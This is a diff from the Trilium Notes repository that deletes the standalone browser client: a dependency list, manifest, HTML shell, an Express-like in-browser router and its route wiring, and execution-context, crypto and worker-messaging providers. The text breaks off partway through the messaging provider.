-    "@fullcalendar/timegrid": "6.1.20",
-    "@maplibre/maplibre-gl-leaflet": "0.1.3",
-    "@mermaid-js/layout-elk": "0.2.1",
-    "@mind-elixir/node-menu": "5.0.1",
-    "@popperjs/core": "2.11.8",
-    "@preact/signals": "2.9.0",
-    "@sqlite.org/sqlite-wasm": "3.51.1-build2",
-    "@triliumnext/ckeditor5": "workspace:*",
-    "@triliumnext/codemirror": "workspace:*",
-    "@triliumnext/commons": "workspace:*",
-    "@triliumnext/core": "workspace:*",
-    "@triliumnext/highlightjs": "workspace:*",
-    "@triliumnext/share-theme": "workspace:*",
-    "@triliumnext/split.js": "workspace:*",
-    "@zumer/snapdom": "2.7.0",
-    "autocomplete.js": "0.38.1",
-    "bootstrap": "5.3.8",
-    "boxicons": "2.1.4",
-    "clsx": "2.1.1",
-    "color": "5.0.3",
-    "debounce": "3.0.0",
-    "draggabilly": "3.0.0",
-    "fflate": "0.8.2",
-    "force-graph": "1.51.2",
-    "globals": "17.4.0",
-    "i18next": "26.0.3",
-    "i18next-http-backend": "3.0.4",
-    "jquery": "4.0.0",
-    "jquery.fancytree": "2.38.5",
-    "js-md5": "0.8.3",
-    "js-sha1": "0.7.0",
-    "js-sha256": "0.11.1",
-    "js-sha512": "0.9.0",
-    "jsplumb": "2.15.6",
-    "katex": "0.16.44",
-    "knockout": "3.5.1",
-    "leaflet": "1.9.4",
-    "leaflet-gpx": "2.2.0",
-    "mark.js": "8.11.1",
-    "marked": "17.0.5",
-    "mermaid": "11.13.0",
-    "mind-elixir": "5.10.0",
-    "normalize.css": "8.0.1",
-    "panzoom": "9.4.4",
-    "preact": "10.29.0",
-    "react-i18next": "17.0.2",
-    "react-window": "2.2.7",
-    "reveal.js": "6.0.0",
-    "svg-pan-zoom": "3.6.2",
-    "tabulator-tables": "6.4.0",
-    "vanilla-js-wheel-zoom": "9.0.4"
-  },
-  "devDependencies": {
-    "@ckeditor/ckeditor5-inspector": "5.0.0",
-    "@preact/preset-vite": "2.10.2",
-    "@types/bootstrap": "5.2.10",
-    "@types/jquery": "4.0.0",
-    "@types/leaflet": "1.9.21",
-    "@types/leaflet-gpx": "1.3.8",
-    "@types/mark.js": "8.11.12",
-    "@types/reveal.js": "5.2.2",
-    "@types/tabulator-tables": "6.3.1",
-    "copy-webpack-plugin": "14.0.0",
-    "cross-env": "7.0.3",
-    "happy-dom": "20.8.9",
-    "script-loader": "0.7.2",
-    "vite-plugin-static-copy": "4.0.0"
-  }
-}

apps/client-standalone/public/_headers

@@ -1,3 +0,0 @@
-/*
-  Cross-Origin-Opener-Policy: same-origin
-  Cross-Origin-Embedder-Policy: require-corp

apps/client-standalone/public/manifest.webmanifest

@@ -1,20 +0,0 @@
-{
-    "name": "Trilium Notes",
-    "short_name": "Trilium",
-    "description": "Trilium Notes is a hierarchical note taking application with focus on building large personal knowledge bases.",
-    "theme_color": "#333333",
-    "background_color": "#1F1F1F",
-    "display": "standalone",
-    "scope": "/",
-    "start_url": "/",
-    "display_override": [
-        "window-controls-overlay"
-    ],
-    "icons": [
-        {
-            "src": "assets/icon.png",
-            "sizes": "512x512",
-            "type": "image/png"
-        }
-    ]
-}

apps/client-standalone/src/desktop.ts

@@ -1,2 +0,0 @@
-// Re-export desktop from client
-export * from "../../client/src/desktop";

apps/client-standalone/src/index.html

@@ -1,31 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8">
-        <link rel="shortcut icon" href="favicon.ico">
-        <meta name="mobile-web-app-capable" content="yes">
-        <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
-        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
-        <link rel="manifest" crossorigin="use-credentials" href="manifest.webmanifest">
-        <title>Trilium Notes</title>
-    </head>
-
-    <body id="trilium-app">
-        <noscript>Trilium requires JavaScript to be enabled.</noscript>
-
-        <div id="context-menu-cover"></div>
-        <div class="dropdown-menu dropdown-menu-sm" id="context-menu-container" style="display: none"></div>
-
-        <!-- Required for match the PWA's top bar color with the theme -->
-        <!-- This works even when the user directly changes --root-background in CSS -->
-        <div id="background-color-tracker" style="position: absolute; visibility: hidden; color: var(--root-background); transition: color 1ms;"></div>
-
-        <!-- Bootstrap (request server for required information) -->
-        <script src="./main.ts" type="module"></script>
-
-        <!-- Required for correct loading of scripts in Electron -->
-        <script>
-            if (typeof module === 'object') {window.module = module; module = undefined;}
-        </script>
-    </body>
-</html>

apps/client-standalone/src/lightweight/browser_router.ts

@@ -1,314 +0,0 @@
-/**
- * Browser-compatible router that mimics Express routing patterns.
- * Supports path parameters (e.g., /api/notes/:noteId) and query strings.
- */
-
-import { getContext, routes } from "@triliumnext/core";
-
-export interface UploadedFile {
-    originalname: string;
-    mimetype: string;
-    buffer: Uint8Array;
-}
-
-export interface BrowserRequest {
-    method: string;
-    url: string;
-    path: string;
-    params: Record<string, string>;
-    query: Record<string, string | undefined>;
-    headers?: Record<string, string>;
-    body?: unknown;
-    file?: UploadedFile;
-}
-
-export interface BrowserResponse {
-    status: number;
-    headers: Record<string, string>;
-    body: ArrayBuffer | null;
-}
-
-export type RouteHandler = (req: BrowserRequest) => unknown | Promise<unknown>;
-
-interface Route {
-    method: string;
-    pattern: RegExp;
-    paramNames: string[];
-    handler: RouteHandler;
-}
-
-/**
- * Symbol used to mark a result as an already-formatted response,
- * so that formatResult passes it through without JSON-serializing.
- * Must match the symbol exported from browser_routes.ts.
- */
-const RAW_RESPONSE = Symbol.for('RAW_RESPONSE');
-
-const encoder = new TextEncoder();
-
-/**
- * Convert an Express-style path pattern to a RegExp.
- * Supports :param syntax for path parameters.
- *
- * Examples:
- *   /api/notes/:noteId -> /^\/api\/notes\/([^\/]+)$/
- *   /api/notes/:noteId/revisions -> /^\/api\/notes\/([^\/]+)\/revisions$/
- */
-function pathToRegex(path: string): { pattern: RegExp; paramNames: string[] } {
-    const paramNames: string[] = [];
-
-    // Escape special regex characters except for :param patterns
-    const regexPattern = path
-        .replace(/[.*+?^${}()|[\]\\]/g, '\\$&') // Escape special chars
-        .replace(/:([a-zA-Z_][a-zA-Z0-9_]*)/g, (_, paramName) => {
-            paramNames.push(paramName);
-            return '([^/]+)';
-        });
-
-    return {
-        pattern: new RegExp(`^${regexPattern}$`),
-        paramNames
-    };
-}
-
-/**
- * Parse query string into an object.
- */
-function parseQuery(search: string): Record<string, string | undefined> {
-    const query: Record<string, string | undefined> = {};
-    if (!search || search === '?') return query;
-
-    const params = new URLSearchParams(search);
-    for (const [key, value] of params) {
-        query[key] = value;
-    }
-    return query;
-}
-
-/**
- * Convert a result to a JSON response.
- */
-function jsonResponse(obj: unknown, status = 200, extraHeaders: Record<string, string> = {}): BrowserResponse {
-    const parsedObj = routes.convertEntitiesToPojo(obj);
-    const body = encoder.encode(JSON.stringify(parsedObj)).buffer as ArrayBuffer;
-    return {
-        status,
-        headers: { "content-type": "application/json; charset=utf-8", ...extraHeaders },
-        body
-    };
-}
-
-/**
- * Convert a string to a text response.
- */
-function textResponse(text: string, status = 200, extraHeaders: Record<string, string> = {}): BrowserResponse {
-    const body = encoder.encode(text).buffer as ArrayBuffer;
-    return {
-        status,
-        headers: { "content-type": "text/plain; charset=utf-8", ...extraHeaders },
-        body
-    };
-}
-
-/**
- * Browser router class that handles route registration and dispatching.
- */
-export class BrowserRouter {
-    private routes: Route[] = [];
-
-    /**
-     * Register a route handler.
-     */
-    register(method: string, path: string, handler: RouteHandler): void {
-        const { pattern, paramNames } = pathToRegex(path);
-        this.routes.push({
-            method: method.toUpperCase(),
-            pattern,
-            paramNames,
-            handler
-        });
-    }
-
-    /**
-     * Convenience methods for common HTTP methods.
-     */
-    get(path: string, handler: RouteHandler): void {
-        this.register('GET', path, handler);
-    }
-
-    post(path: string, handler: RouteHandler): void {
-        this.register('POST', path, handler);
-    }
-
-    put(path: string, handler: RouteHandler): void {
-        this.register('PUT', path, handler);
-    }
-
-    patch(path: string, handler: RouteHandler): void {
-        this.register('PATCH', path, handler);
-    }
-
-    delete(path: string, handler: RouteHandler): void {
-        this.register('DELETE', path, handler);
-    }
-
-    /**
-     * Dispatch a request to the appropriate handler.
-     */
-    async dispatch(method: string, urlString: string, body?: unknown, headers?: Record<string, string>): Promise<BrowserResponse> {
-        const url = new URL(urlString);
-        const path = url.pathname;
-        const query = parseQuery(url.search);
-        const upperMethod = method.toUpperCase();
-
-        // Parse body based on content-type
-        let parsedBody = body;
-        let uploadedFile: UploadedFile | undefined;
-        if (body instanceof ArrayBuffer && headers) {
-            const contentType = headers['content-type'] || headers['Content-Type'] || '';
-            if (contentType.includes('application/json')) {
-                try {
-                    const text = new TextDecoder().decode(body);
-                    if (text.trim()) {
-                        parsedBody = JSON.parse(text);
-                    }
-                } catch (e) {
-                    console.warn('[Router] Failed to parse JSON body:', e);
-                    parsedBody = body;
-                }
-            } else if (contentType.includes('multipart/form-data')) {
-                try {
-                    // Reconstruct a Response so we can use the native FormData parser
-                    const response = new Response(body, { headers: { 'content-type': contentType } });
-                    const formData = await response.formData();
-                    const formFields: Record<string, string> = {};
-                    for (const [key, value] of formData.entries()) {
-                        if (typeof value === 'string') {
-                            formFields[key] = value;
-                        } else {
-                            // File field (Blob) — multer uses the field name "upload"
-                            const fileBuffer = new Uint8Array(await value.arrayBuffer());
-                            uploadedFile = {
-                                originalname: value.name,
-                                mimetype: value.type || 'application/octet-stream',
-                                buffer: fileBuffer
-                            };
-                        }
-                    }
-                    parsedBody = formFields;
-                } catch (e) {
-                    console.warn('[Router] Failed to parse multipart body:', e);
-                }
-            }
-        }
-        // Find matching route
-        for (const route of this.routes) {
-            if (route.method !== upperMethod) continue;
-
-            const match = path.match(route.pattern);
-            if (!match) continue;
-
-            // Extract path parameters
-            const params: Record<string, string> = {};
-            for (let i = 0; i < route.paramNames.length; i++) {
-                params[route.paramNames[i]] = decodeURIComponent(match[i + 1]);
-            }
-
-            const request: BrowserRequest = {
-                method: upperMethod,
-                url: urlString,
-                path,
-                params,
-                query,
-                headers: headers ?? {},
-                body: parsedBody,
-                file: uploadedFile
-            };
-
-            try {
-                const result = await getContext().init(async () => await route.handler(request));
-                return this.formatResult(result);
-            } catch (error) {
-                return this.formatError(error, `Error handling ${method} ${path}`);
-            }
-        }
-
-        // No route matched
-        return textResponse(`Not found: ${method} ${path}`, 404);
-    }
-
-    /**
-     * Format a handler result into a response.
-     * Follows the same patterns as the server's apiResultHandler.
-     */
-    private formatResult(result: unknown): BrowserResponse {
-        // Handle raw responses (e.g. from image routes that write directly to res)
-        if (result && typeof result === 'object' && RAW_RESPONSE in result) {
-            const raw = result as unknown as { status: number; headers: Record<string, string>; body: unknown };
-            let body: ArrayBuffer | null = null;
-
-            if (raw.body instanceof ArrayBuffer) {
-                body = raw.body;
-            } else if (raw.body instanceof Uint8Array) {
-                body = raw.body.buffer as ArrayBuffer;
-            } else if (typeof raw.body === 'string') {
-                body = encoder.encode(raw.body).buffer as ArrayBuffer;
-            }
-
-            return {
-                status: raw.status,
-                headers: raw.headers,
-                body
-            };
-        }
-
-        // Handle [statusCode, response] format
-        if (Array.isArray(result) && result.length > 0 && Number.isInteger(result[0])) {
-            const [statusCode, response] = result;
-            return jsonResponse(response, statusCode);
-        }
-
-        // Handle undefined (no content) - 204 should have no body
-        if (result === undefined) {
-            return {
-                status: 204,
-                headers: {},
-                body: null
-            };
-        }
-
-        // Default: JSON response with 200
-        return jsonResponse(result, 200);
-    }
-
-    /**
-     * Format an error into a response.
-     */
-    private formatError(error: unknown, context: string): BrowserResponse {
-        console.error('[Router] Handler error:', context, error);
-
-        // Check for known error types
-        if (error && typeof error === 'object') {
-            const err = error as { constructor?: { name?: string }; message?: string };
-
-            if (err.constructor?.name === 'NotFoundError') {
-                return jsonResponse({ message: err.message || 'Not found' }, 404);
-            }
-
-            if (err.constructor?.name === 'ValidationError') {
-                return jsonResponse({ message: err.message || 'Validation error' }, 400);
-            }
-        }
-
-        // Generic error
-        const message = error instanceof Error ? error.message : String(error);
-        return jsonResponse({ message }, 500);
-    }
-}
-
-/**
- * Create a new router instance.
- */
-export function createRouter(): BrowserRouter {
-    return new BrowserRouter();
-}

apps/client-standalone/src/lightweight/browser_routes.ts

@@ -1,340 +0,0 @@
-/**
- * Browser route definitions.
- * This integrates with the shared route builder from @triliumnext/core.
- */
-
-import { BootstrapDefinition } from '@triliumnext/commons';
-import { entity_changes, getContext, getPlatform, getSharedBootstrapItems, getSql, routes, sql_init } from '@triliumnext/core';
-
-import packageJson from '../../package.json' with { type: 'json' };
-import { type BrowserRequest, BrowserRouter } from './browser_router';
-
-/** Minimal response object used by apiResultHandler to capture the processed result. */
-interface ResultHandlerResponse {
-    headers: Record<string, string>;
-    result: unknown;
-    setHeader(name: string, value: string): void;
-}
-
-/**
- * Symbol used to mark a result as an already-formatted BrowserResponse,
- * so that BrowserRouter.formatResult passes it through without JSON-serializing.
- * Uses Symbol.for() so the same symbol is shared across modules.
- */
-const RAW_RESPONSE = Symbol.for('RAW_RESPONSE');
-
-type HttpMethod = 'get' | 'post' | 'put' | 'patch' | 'delete';
-
-/**
- * Creates an Express-like request object from a BrowserRequest.
- */
-function toExpressLikeReq(req: BrowserRequest) {
-    return {
-        params: req.params,
-        query: req.query,
-        body: req.body,
-        headers: req.headers ?? {},
-        method: req.method,
-        file: req.file,
-        get originalUrl() { return req.url; }
-    };
-}
-
-/**
- * Extracts context headers from the request and sets them in the execution context,
- * mirroring what the server does in route_api.ts.
- */
-function setContextFromHeaders(req: BrowserRequest) {
-    const headers = req.headers ?? {};
-    const ctx = getContext();
-    ctx.set("componentId", headers["trilium-component-id"]);
-    ctx.set("localNowDateTime", headers["trilium-local-now-datetime"]);
-    ctx.set("hoistedNoteId", headers["trilium-hoisted-note-id"] || "root");
-}
-
-/**
- * Wraps a core route handler to work with the BrowserRouter.
- * Core handlers expect an Express-like request object with params, query, and body.
- * Each request is wrapped in an execution context (like cls.init() on the server)
- * to ensure entity change tracking works correctly.
- */
-function wrapHandler(handler: (req: any) => unknown, transactional: boolean) {
-    return (req: BrowserRequest) => {
-        return getContext().init(() => {
-            setContextFromHeaders(req);
-            const expressLikeReq = toExpressLikeReq(req);
-            if (transactional) {
-                return getSql().transactional(() => handler(expressLikeReq));
-            }
-            return handler(expressLikeReq);
-        });
-    };
-}
-
-/**
- * Creates an apiRoute function compatible with buildSharedApiRoutes.
- * This bridges the core's route registration to the BrowserRouter.
- */
-function createApiRoute(router: BrowserRouter, transactional: boolean) {
-    return (method: HttpMethod, path: string, handler: (req: any) => unknown) => {
-        router.register(method, path, wrapHandler(handler, transactional));
-    };
-}
-
-/**
- * Low-level route registration matching the server's `route()` signature:
- *   route(method, path, middleware[], handler, resultHandler)
- *
- * In standalone mode:
- * - Middleware (e.g. checkApiAuth) is skipped — there's no authentication.
- * - The resultHandler is applied to post-process the result (entity conversion, status codes).
- */
-function createRoute(router: BrowserRouter) {
-    return (method: HttpMethod, path: string, _middleware: any[], handler: (req: any, res: any) => unknown, resultHandler?: ((req: any, res: any, result: unknown) => unknown) | null) => {
-        router.register(method, path, (req: BrowserRequest) => {
-            return getContext().init(() => {
-                setContextFromHeaders(req);
-                const expressLikeReq = toExpressLikeReq(req);
-                const mockRes = createMockExpressResponse();
-                const result = getSql().transactional(() => handler(expressLikeReq, mockRes));
-
-                // If the handler used the mock response (e.g. image routes that call res.send()),
-                // return it as a raw response so BrowserRouter doesn't JSON-serialize it.
-                if (mockRes._used) {
-                    return {
-                        [RAW_RESPONSE]: true as const,
-                        status: mockRes._status,
-                        headers: mockRes._headers,
-                        body: mockRes._body
-                    };
-                }
-
-                if (resultHandler) {
-                    // Create a minimal response object that captures what apiResultHandler sets.
-                    const res = createResultHandlerResponse();
-                    resultHandler(expressLikeReq, res, result);
-                    return res.result;
-                }
-
-                return result;
-            });
-        });
-    };
-}
-
-/**
- * Async variant of createRoute for handlers that return Promises (e.g. import).
- * Uses transactionalAsync (manual BEGIN/COMMIT/ROLLBACK) instead of the synchronous
- * transactional() wrapper, which would commit an empty transaction immediately when
- * passed an async callback.
- */
-function createAsyncRoute(router: BrowserRouter) {
-    return (method: HttpMethod, path: string, _middleware: any[], handler: (req: any, res: any) => Promise<unknown>, resultHandler?: ((req: any, res: any, result: unknown) => unknown) | null) => {
-        router.register(method, path, (req: BrowserRequest) => {
-            return getContext().init(async () => {
-                setContextFromHeaders(req);
-                const expressLikeReq = toExpressLikeReq(req);
-                const mockRes = createMockExpressResponse();
-                const result = await getSql().transactionalAsync(() => handler(expressLikeReq, mockRes));
-
-                // If the handler used the mock response (e.g. image routes that call res.send()),
-                // return it as a raw response so BrowserRouter doesn't JSON-serialize it.
-                if (mockRes._used) {
-                    return {
-                        [RAW_RESPONSE]: true as const,
-                        status: mockRes._status,
-                        headers: mockRes._headers,
-                        body: mockRes._body
-                    };
-                }
-
-                if (resultHandler) {
-                    // Create a minimal response object that captures what apiResultHandler sets.
-                    const res = createResultHandlerResponse();
-                    resultHandler(expressLikeReq, res, result);
-                    return res.result;
-                }
-
-                return result;
-            });
-        });
-    };
-}
-
-/**
- * Creates a mock Express response object that captures calls to set(), send(), sendStatus(), etc.
- * Used for route handlers (like image routes) that write directly to the response.
- */
-function createMockExpressResponse() {
-    const chunks: string[] = [];
-    const res = {
-        _used: false,
-        _status: 200,
-        _headers: {} as Record<string, string>,
-        _body: null as unknown,
-        set(name: string, value: string) {
-            res._headers[name] = value;
-            return res;
-        },
-        setHeader(name: string, value: string) {
-            res._headers[name] = value;
-            return res;
-        },
-        removeHeader(name: string) {
-            delete res._headers[name];
-            return res;
-        },
-        status(code: number) {
-            res._status = code;
-            return res;
-        },
-        send(body: unknown) {
-            res._used = true;
-            res._body = body;
-            return res;
-        },
-        sendStatus(code: number) {
-            res._used = true;
-            res._status = code;
-            return res;
-        },
-        write(chunk: string) {
-            chunks.push(chunk);
-            return true;
-        },
-        end() {
-            res._used = true;
-            res._body = chunks.join("");
-            return res;
-        }
-    };
-    return res;
-}
-
-/**
- * Standalone apiResultHandler matching the server's behavior:
- * - Converts Becca entities to POJOs
- * - Handles [statusCode, response] tuple format
- * - Sets trilium-max-entity-change-id (captured in response headers)
- */
-function apiResultHandler(_req: any, res: ResultHandlerResponse, result: unknown) {
-    res.headers["trilium-max-entity-change-id"] = String(entity_changes.getMaxEntityChangeId());
-    result = routes.convertEntitiesToPojo(result);
-
-    if (Array.isArray(result) && result.length > 0 && Number.isInteger(result[0])) {
-        const [_statusCode, response] = result;
-        res.result = response;
-    } else if (result === undefined) {
-        res.result = "";
-    } else {
-        res.result = result;
-    }
-}
-
-/**
- * No-op middleware stubs for standalone mode.
- *
- * In a browser context there is no network authentication, rate limiting,
- * or multi-user access, so all auth/rate-limit middleware is a no-op.
- *
- * `checkAppNotInitialized` still guards setup routes: if the database is
- * already initialised the middleware throws so the route handler is never
- * reached (mirrors the server behaviour).
- */
-function noopMiddleware() {
-    // No-op.
-}
-
-function checkAppNotInitialized() {
-    if (sql_init.isDbInitialized()) {
-        throw new Error("App already initialized.");
-    }
-}
-
-/**
- * Creates a minimal response-like object for the apiResultHandler.
- */
-function createResultHandlerResponse(): ResultHandlerResponse {
-    return {
-        headers: {},
-        result: undefined,
-        setHeader(name: string, value: string) {
-            this.headers[name] = value;
-        }
-    };
-}
-
-/**
- * Register all API routes on the browser router using the shared builder.
- *
- * @param router - The browser router instance
- */
-export function registerRoutes(router: BrowserRouter): void {
-    const apiRoute = createApiRoute(router, true);
-    routes.buildSharedApiRoutes({
-        route: createRoute(router),
-        asyncRoute: createAsyncRoute(router),
-        apiRoute,
-        asyncApiRoute: createApiRoute(router, false),
-        apiResultHandler,
-        checkApiAuth: noopMiddleware,
-        checkApiAuthOrElectron: noopMiddleware,
-        checkAppNotInitialized,
-        checkCredentials: noopMiddleware,
-        loginRateLimiter: noopMiddleware,
-        uploadMiddlewareWithErrorHandling: noopMiddleware,
-        csrfMiddleware: noopMiddleware
-    });
-    apiRoute('get', '/bootstrap', bootstrapRoute);
-
-    // Dummy routes for compatibility.
-    apiRoute("get", "/api/script/widgets", () => []);
-    apiRoute("get", "/api/script/startup", () => []);
-    apiRoute("get", "/api/system-checks", () => ({ isCpuArchMismatch: false }));
-}
-
-function bootstrapRoute(): BootstrapDefinition {
-    const assetPath = ".";
-
-    const isDbInitialized = sql_init.isDbInitialized();
-    const commonItems = {
-        ...getSharedBootstrapItems(assetPath, isDbInitialized),
-        isDev: import.meta.env.DEV,
-        isStandalone: true,
-        isMainWindow: true,
-        isElectron: false,
-        hasNativeTitleBar: false,
-        hasBackgroundEffects: false,
-        triliumVersion: packageJson.version,
-        device: false as const, // Let the client detect device type.
-        appPath: assetPath,
-        instanceName: "standalone",
-        TRILIUM_SAFE_MODE: !!getPlatform().getEnv("TRILIUM_SAFE_MODE")
-    };
-
-    if (!isDbInitialized) {
-        return {
-            ...commonItems,
-            baseApiUrl: "../api/",
-            isProtectedSessionAvailable: false,
-        };
-    }
-
-    return {
-        ...commonItems,
-        csrfToken: "dummy-csrf-token",
-        baseApiUrl: "../api/",
-        headingStyle: "plain",
-        layoutOrientation: "vertical",
-        platform: "web",
-    };
-}
-
-/**
- * Create and configure a router with all routes registered.
- */
-export function createConfiguredRouter(): BrowserRouter {
-    const router = new BrowserRouter();
-    registerRoutes(router);
-    return router;
-}

apps/client-standalone/src/lightweight/cls_provider.ts

@@ -1,77 +0,0 @@
-import { ExecutionContext } from "@triliumnext/core";
-
-/**
- * Browser execution context implementation.
- * 
- * Handles per-request context isolation with support for fire-and-forget async operations
- * using a context stack and grace-period cleanup to allow unawaited promises to complete.
- */
-export default class BrowserExecutionContext implements ExecutionContext {
-    private contextStack: Map<string, any>[] = [];
-    private cleanupTimers = new WeakMap<Map<string, any>, ReturnType<typeof setTimeout>>();
-    private readonly CLEANUP_GRACE_PERIOD = 1000; // 1 second for fire-and-forget operations
-
-    private getCurrentContext(): Map<string, any> {
-        if (this.contextStack.length === 0) {
-            throw new Error("ExecutionContext not initialized");
-        }
-        return this.contextStack[this.contextStack.length - 1];
-    }
-
-    get<T = any>(key: string): T {
-        return this.getCurrentContext().get(key);
-    }
-
-    set(key: string, value: any): void {
-        this.getCurrentContext().set(key, value);
-    }
-
-    reset(): void {
-        this.contextStack = [];
-    }
-
-    init<T>(callback: () => T): T {
-        const context = new Map<string, any>();
-        this.contextStack.push(context);
-
-        // Cancel any pending cleanup timer for this context
-        const existingTimer = this.cleanupTimers.get(context);
-        if (existingTimer) {
-            clearTimeout(existingTimer);
-            this.cleanupTimers.delete(context);
-        }
-
-        try {
-            const result = callback();
-
-            // If the result is a Promise
-            if (result && typeof result === 'object' && 'then' in result && 'catch' in result) {
-                const promise = result as unknown as Promise<any>;
-                return promise.finally(() => {
-                    this.scheduleContextCleanup(context);
-                }) as T;
-            } else {
-                // For synchronous results, schedule delayed cleanup to allow fire-and-forget operations
-                this.scheduleContextCleanup(context);
-                return result;
-            }
-        } catch (error) {
-            // Always clean up on error with grace period
-            this.scheduleContextCleanup(context);
-            throw error;
-        }
-    }
-
-    private scheduleContextCleanup(context: Map<string, any>): void {
-        const timer = setTimeout(() => {
-            // Remove from stack if still present
-            const index = this.contextStack.indexOf(context);
-            if (index !== -1) {
-                this.contextStack.splice(index, 1);
-            }
-            this.cleanupTimers.delete(context);
-        }, this.CLEANUP_GRACE_PERIOD);
-
-        this.cleanupTimers.set(context, timer);
-    }
-}

apps/client-standalone/src/lightweight/crypto_provider.ts

@@ -1,166 +0,0 @@
-import type { CryptoProvider } from "@triliumnext/core";
-import { sha1 } from "js-sha1";
-import { sha256 } from "js-sha256";
-import { sha512 } from "js-sha512";
-import { md5 } from "js-md5";
-
-interface Cipher {
-    update(data: Uint8Array): Uint8Array;
-    final(): Uint8Array;
-}
-
-const CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
-
-/**
- * Crypto provider for browser environments using the Web Crypto API.
- */
-export default class BrowserCryptoProvider implements CryptoProvider {
-
-    createHash(algorithm: "md5" | "sha1" | "sha512", content: string | Uint8Array): Uint8Array {
-        const data = typeof content === "string" ? content :
-                new TextDecoder().decode(content);
-
-        let hexHash: string;
-        if (algorithm === "md5") {
-            hexHash = md5(data);
-        } else if (algorithm === "sha1") {
-            hexHash = sha1(data);
-        } else {
-            hexHash = sha512(data);
-        }
-
-        // Convert hex string to Uint8Array
-        const bytes = new Uint8Array(hexHash.length / 2);
-        for (let i = 0; i < hexHash.length; i += 2) {
-            bytes[i / 2] = parseInt(hexHash.substr(i, 2), 16);
-        }
-        return bytes;
-    }
-
-    createCipheriv(algorithm: "aes-128-cbc", key: Uint8Array, iv: Uint8Array): Cipher {
-        // Web Crypto API doesn't support streaming cipher like Node.js
-        // We need to implement a wrapper that collects data and encrypts on final()
-        return new WebCryptoCipher(algorithm, key, iv, "encrypt");
-    }
-
-    createDecipheriv(algorithm: "aes-128-cbc", key: Uint8Array, iv: Uint8Array): Cipher {
-        return new WebCryptoCipher(algorithm, key, iv, "decrypt");
-    }
-
-    randomBytes(size: number): Uint8Array {
-        const bytes = new Uint8Array(size);
-        crypto.getRandomValues(bytes);
-        return bytes;
-    }
-
-    randomString(length: number): string {
-        const bytes = this.randomBytes(length);
-        let result = "";
-        for (let i = 0; i < length; i++) {
-            result += CHARS[bytes[i] % CHARS.length];
-        }
-        return result;
-    }
-
-    hmac(secret: string | Uint8Array, value: string | Uint8Array): string {
-        const secretStr = typeof secret === "string" ? secret : new TextDecoder().decode(secret);
-        const valueStr = typeof value === "string" ? value : new TextDecoder().decode(value);
-        // sha256.hmac returns hex, convert to base64 to match Node's behavior
-        const hexHash = sha256.hmac(secretStr, valueStr);
-        const bytes = new Uint8Array(hexHash.length / 2);
-        for (let i = 0; i < hexHash.length; i += 2) {
-            bytes[i / 2] = parseInt(hexHash.substr(i, 2), 16);
-        }
-        return btoa(String.fromCharCode(...bytes));
-    }
-}
-
-/**
- * A cipher implementation that wraps Web Crypto API.
- * Note: This buffers all data until final() is called, which differs from
- * Node.js's streaming cipher behavior.
- */
-class WebCryptoCipher implements Cipher {
-    private chunks: Uint8Array[] = [];
-    private algorithm: string;
-    private key: Uint8Array;
-    private iv: Uint8Array;
-    private mode: "encrypt" | "decrypt";
-    private finalized = false;
-
-    constructor(
-        algorithm: "aes-128-cbc",
-        key: Uint8Array,
-        iv: Uint8Array,
-        mode: "encrypt" | "decrypt"
-    ) {
-        this.algorithm = algorithm;
-        this.key = key;
-        this.iv = iv;
-        this.mode = mode;
-    }
-
-    update(data: Uint8Array): Uint8Array {
-        if (this.finalized) {
-            throw new Error("Cipher has already been finalized");
-        }
-        // Buffer the data - Web Crypto doesn't support streaming
-        this.chunks.push(data);
-        // Return empty array since we process everything in final()
-        return new Uint8Array(0);
-    }
-
-    final(): Uint8Array {
-        if (this.finalized) {
-            throw new Error("Cipher has already been finalized");
-        }
-        this.finalized = true;
-
-        // Web Crypto API is async, but we need sync behavior
-        // This is a fundamental limitation that requires architectural changes
-        // For now, throw an error directing users to use async methods
-        throw new Error(
-            "Synchronous cipher finalization not available in browser. " +
-            "The Web Crypto API is async-only. Use finalizeAsync() instead."
-        );
-    }
-
-    /**
-     * Async version that actually performs the encryption/decryption.
-     */
-    async finalizeAsync(): Promise<Uint8Array> {
-        if (this.finalized) {
-            throw new Error("Cipher has already been finalized");
-        }
-        this.finalized = true;
-
-        // Concatenate all chunks
-        const totalLength = this.chunks.reduce((sum, chunk) => sum + chunk.length, 0);
-        const data = new Uint8Array(totalLength);
-        let offset = 0;
-        for (const chunk of this.chunks) {
-            data.set(chunk, offset);
-            offset += chunk.length;
-        }
-
-        // Copy key and iv to ensure they're plain ArrayBuffer-backed
-        const keyBuffer = new Uint8Array(this.key);
-        const ivBuffer = new Uint8Array(this.iv);
-
-        // Import the key
-        const cryptoKey = await crypto.subtle.importKey(
-            "raw",
-            keyBuffer,
-            { name: "AES-CBC" },
-            false,
-            [this.mode]
-        );
-
-        // Perform encryption/decryption
-        const result = this.mode === "encrypt"
-            ? await crypto.subtle.encrypt({ name: "AES-CBC", iv: ivBuffer }, cryptoKey, data)
-            : await crypto.subtle.decrypt({ name: "AES-CBC", iv: ivBuffer }, cryptoKey, data);
-
-        return new Uint8Array(result);
-    }
-}

apps/client-standalone/src/lightweight/messaging_provider.ts

@@ -1,120 +0,0 @@
-import type { WebSocketMessage } from "@triliumnext/commons";
-import type { ClientMessageHandler, MessageHandler,MessagingProvider } from "@triliumnext/core";
-
-/**
- * Messaging provider for browser Worker environments.
- *
- * This provider uses the Worker's postMessage API to communicate
- * with the main thread. It's designed to be used inside a Web Worker
- * that runs the core services.
- *
- * Message flow:
- * - Outbound (worker → main): Uses self.postMessage() with type: "WS_MESSAGE"
- * - Inbound (main → worker): Listens to onmessage for type: "WS_MESSAGE"
- */
-export default class WorkerMessagingProvider implements MessagingProvider {
-    private messageHandlers: MessageHandler[] = [];
-    private clientMessageHandler?: ClientMessageHandler;
-    private isDisposed = false;
-
-    constructor() {
-        // Listen for incoming messages from the main thread
-        self.addEventListener("message", this.handleIncomingMessage);
-    }
-
-    private handleIncomingMessage = (event: MessageEvent) => {
-        if (this.isDisposed) return;
-
-        const { type, message } = event.data || {};
-
-        if (type === "WS_MESSAGE" && message) {
-            // Dispatch to the client message handler (used by ws.ts for log-error, log-info, ping)
-            if (this.clientMessageHandler) {
-                try {
-                    this.clientMessageHandler("main-thread", message);
-                } catch (e) {
-                    console.error("[WorkerMessagingProvider] Error in client message handler:", e);
-                }
-            }
-
-            // Dispatch to all registered handlers
-            for (const handler of this.messageHandlers) {
-                try {
-                    handler(message as WebSocketMessage);
